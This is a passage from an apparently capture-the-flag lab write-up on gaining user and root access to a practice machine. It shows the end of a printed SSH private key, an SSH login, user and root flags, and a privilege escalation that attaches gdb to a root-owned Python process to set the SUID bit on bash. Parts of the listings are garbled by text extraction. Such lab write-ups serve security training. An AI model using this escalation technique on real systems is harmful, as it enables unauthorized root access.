   ELWupj/TFE/66xwXJfilBxsQctr0i62yVAVfsR0Sng5/qRt/8orbGrrNIJU2uje7ToHMLN
22
   J0J1A6niLQuh4LBHHyTvUTRyC72P8Im5varaLEhuHxnzg1g81loA8jjvWAeUHwayNxG8uu
23
   ng+nLalwTM/usMo9Jnvx/UeoKnKQ4r5AunVeM7QQTdEZtwMk2G4v0Z90DQztJ07aCDCiEv
24 Hx9U9A6HNyDEMfCebfsJ9voa6i+rphRzK9or/+IbjH3JlnQ0Zw8JRC1RpI/uTECivtmkp4
25 ZrFF5YAo9ie7ctB2JIujPGXlv/F8Ue9FGN6W4XW7b+HfnG5VjCKYKyrqk/yxMmg6w2Y5P5
26 N/NvWYyoIZPQgXKUlTzYj984plSl2+k9Tca27aahZOSLUceZqq71aXyfKPGWoITp5dAQAA
27 AMEAl5stT0pZ0iZLcYi+b/7ZAiGTQwWYS0p4Glxm204Dedr0D4c/Aw7YZFZLYDlL2KUk6o
```

0M2X9joquMFMHUoXB7DATWknBS7xQcCfXH8HNuKSN385TCX/QWNfWVnuIhl687Dqi2bvBt pMMKNYMMYDErBldpYZmh8mcMZgHN3lAK06Xdz57eQQt0oGq6btFdbdVDmwm+LuTRwxJSCs Qtc2vyQOEa0pEad9RvTiMNiAKy1AnlViyoXAW49gIeK1ay7z3jAAAAwQDxEUTmwvt+oX1o 1U/ZPaHkmi/VKl03jxABwPRkFCjyDt6AMQ8K9kCn1ZnTLy+J1M+tm1L0xwkY3T5oJi/yLt ercex4AFaAjZD7sjX9vDqX8atR8M1VX0y3aQ0HGYG2FF7vEFwYdNPfGqFLxLvAczzXHBud QzVDjJkn6+ANFdKKR3j3s9xnkb5j+U/jGzxvPGDpCiZz0I30KRtAzsBzT1ZQMEvKrchpmR jrzHFkgTUug0lsPE4ZLB0Re6Iq3ngtaNUAAADBANBXLol4lHhpWL30or8064fjhXGjhY4g blDouPQFIwCaRbSWLnKvKCwaPaZzocdHlr5wRXwRq8V1VPmsxX8087y9Ro5guymsdPprXF LETXuj0l8CFiHvMA1Zf6eriE1/Od3JcUKiHTwv19MwqHitxUcNW0sETwZ+FAHBBuc2NTVF YEeVKoox5zK4lPYIAgGJvhUTzSuu0tS809bGnTBTqUAq21NF59XVHDlX0ZAkCfnTW4IE7j 9u1fIdwzi56TWNhQAAABFkZXZlbG9wZXJAZmFjdWx0eQ== ----END OPENSSH PRIVATE KEY-----EOT 41 chmod 600 ~/.ssh/id rsa

And was able to log in:

```
1 $ ssh developer@10.10.11.169
2 Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)
3
   * Documentation: https://help.ubuntu.com
4
  * Management:
                     https://landscape.canonical.com
5
   * Support:
                     https://ubuntu.com/advantage
6
 7
8
     System information as of Thu Oct 13 20:54:58 CEST 2022
9
10
    System load:
                            0.0
11
    Usage of /:
                           82.5% of 4.67GB
12
     Memory usage:
                           45%
13
     Swap usage:
                            0%
14
     Processes:
                            234
15
     Users logged in:
                           1
     IPv4 address for eth0: 10.10.11.169
16
17
     IPv6 address for eth0: dead:beef::250:56ff:feb9:63db
18
19
20 O updates can be applied immediately.
21
22
23 The list of available updates is more than a week old.
24 To check for new updates run: sudo apt update
25 Failed to connect to https://changelogs.ubuntu.com/meta-release-lts.
      Check your Internet connection or proxy settings
26
27
28 Last login: Thu Oct 13 11:05:59 2022 from 10.10.14.94
29 -bash-5.0$ whoami
30 developer
```

After this, I was able to get the user flag:

```
1 $ cat user.txt
2 a2542ec10fe984b1113a65f53836ef66
```

8 Root Flag

In the user directory, a copy of gdb could be found:

```
1 $ ls -la
 2 total 8292
 3 drwxr-x--- 6 developer developer
                                                 4096 Oct 13 11:36 .
 4 drwxr-xr-x 4 root root
                                                  4096 Jun 23 18:50 ..
 5 lrwxrwxrwx 1 developer developer
                                                    9 Oct 24 2020 .bash_history ->
        /dev/null
6-rw-r--r-- 1developerdeveloper220Oct 242020.bash_7-rw-r--r-- 1developerdeveloper3771Oct 242020.bash_8drwx------ 2developerdeveloper4096Jun 2318:50.cache9drwxrwxr-x3developerdeveloper4096Oct 1309:52.gnupg10drwxrwxr-x3developerdeveloper4096Jun 2318:50.local
                                                 220 Oct 24 2020 .bash_logout
                                                  3771 Oct 24 2020 .bashrc
11 -rw-r--r-- 1 developer developer
                                                 807 Oct 24 2020 .profile
12 drwxr-xr-x 2 developer developer
13 -rw----- 1 developer developer
                                                 4096 Jun 23 18:50 .ssh
                                                  1375 Oct 13 09:53 .viminfo
14 -rwxr-x--- 1 developer developer 8440200 Oct 13 11:36 gdb
15 -rwxrwxr-x 1 developer developer 258 Nov 10 2020 sendmail.sh
16 -rw-r---- 1 root
                                 developer 33 Oct 13 07:11 user.txt
```

However this version gdb was owned by developer; /usr/bin/gdb was accessible to us however:

```
1 $ ls -la /usr/bin/gdb
2 -rwxr-x--- 1 root debug 8440200 Dec 8 2021 /usr/bin/gdb
3 $ groups
4 developer debug faculty
```

In the next step, I tried to take over one of the processes running as root and execute something:

```
1 $ ps -U root -u root u
2 # ...
             930 0.0 0.0
                           2608 536 ?
                                          Ss
                                                07:10
                                                       0:00 /bin
3 root
    /sh -c bash /root/service_check.sh
          931 0.0 0.1
                          5648 3040 ?
                                           S
                                                07:10
                                                       0:03 bash
4 root
    /root/service_check.sh
5
            943 0.0 0.3 12172 7264 ?
                                                07:10
                                                       0:00 sshd
 root
                                           Ss
  : /usr/sbin/sshd -D [listener] 0 of 10-100 startups
        960 0.0 0.0
                         2860 1656 tty1
                                                       0:00 /
6 root
                                            Ss+ 07:10
 sbin/agetty -o -p -- \u --noclear tty1 linux
```

7	root	1572	0.0	0.2	38072	4628	?	Ss	07:11	0:00	/usr
	/	lib/postfix/s	bin/m	aster	w						
8	root	60137	0.0	0.4	13952	9060	?	Ss	19:27	0:00	sshd
	:	gbyolo [priv]								
9	root	61755	0.0	0.0	Θ	0	?	I	20:09	0:01	Γ
	kv	worker/1:1-ev	ents]								
10	root	62500	0.0	0.4	13948	9044	?	Ss	20:33	0:00	sshd
	:	gbyolo [priv]								
11	root	62906	0.0	0.0	Θ	0	?	I	20:38	0:00	[
	kv	worker/u256:2	-even	ts_ur	bound]						
12	root	62911	0.0	0.0	Θ	Θ	?	I	20 : 39	0:00	[
	kı	worker/1:2-ev	ents]								
13	root	62974	0.0	0.0	Θ	0	?	I	20:39	0:00	[
	kv	worker/0:2-cg	roup_	destr	·oy]						
14	root	62977	0.0	0.0	Θ	Θ	?	I	20 : 39	0:00	[
	kv	worker/0:3-ev	ents]								
15	root	63677	0.0	0.0	Θ	Θ	?	I	20:50	0:00	[
	kv	worker/u256 <mark>:</mark> 1	-even	ts_ur	bound]						
16	root	64013	0.0	0.0	Θ	0	?	I	20:54	0:00	[
	kv	worker/0:0-ev	ents]								
17	root	64014	0.0	0.0	Θ	0	?	I	20:54	0:00	[
	kv	worker/1:0-ev	ents]								
18	root	64031	0.0	0.4	13792	8984	?	Ss	20:54	0:00	sshd
	:	developer [p	riv]								
19	root	64307	0.0	0.0	4260	516	?	S	20:58	0:00	
	s	leep 20									

I chose Postfix:

1 \$ gdb -p 1572 2 GNU gdb (Ubuntu 9.2-Oubuntu1~20.04.1) 9.2 3 Copyright (C) 2020 Free Software Foundation, Inc. 4 License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl .html> 5 This is free software: you are free to change and redistribute it. 6 There is NO WARRANTY, to the extent permitted by law. 7 Type "show copying" and "show warranty" for details. 8 This GDB was configured as "x86_64-linux-gnu". 9 Type "show configuration" for configuration details. 10 For bug reporting instructions, please see: 11 <http://www.gnu.org/software/gdb/bugs/>. 12 Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. 13 14 15 For help, type "help". 16 Type "apropos word" to search **for** commands related to "word". 17 Attaching to process 1572 18 Reading symbols from /usr/lib/postfix/sbin/master... 19 (No debugging symbols found **in** /usr/lib/postfix/sbin/master) 20 Reading symbols from /lib64/ld-linux-x86-64.so.2... 21 Reading symbols from /usr/lib/debug/.build-id/45/87364908

```
de169dec62ffa538170118c1c3a078.debug...
22 0x00007f1bce01442a in _start () from /lib64/ld-linux-x86-64.so.2
23 (gdb)
```

I then tried to escalate by setting the SUID bits (see https://www.hackingarticles.in/linux-privilegeescalation-using-suid-binaries/):

```
1 (gdb) call (void)system("chmod u+s /bin/bash")
2 No symbol "system" in current context.
```

But wasn't able to, because there were no debug symbols. Python usually has them included:

```
1 $ ps -U root -u root u | grep python
2 root 719 0.0 0.8 26896 17940 ? Ss 07:10 0:00 /usr
/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
```

Attaching GDB allowed for setting the SUID bits for bash using the process running as root:

```
1 $ gdb -p 719
2 (gdb) call (void)system("chmod u+s /bin/bash")
3 [Detaching after vfork from child process 64874]
```

Upon exiting GDB, I was able to execute bash as root:

```
1 $ bash -p
2 bash-5.0# whoami
3 root
```

Inspecting root's home directory yielded a few suspicious files, which is where the root flag could be found:

```
1 # ls /root/
2 check_cron.sh root.txt service_check.sh
3 # cat /root/root.txt
4 b2107f909ec0fd1c66f1c9a1240c93ee
```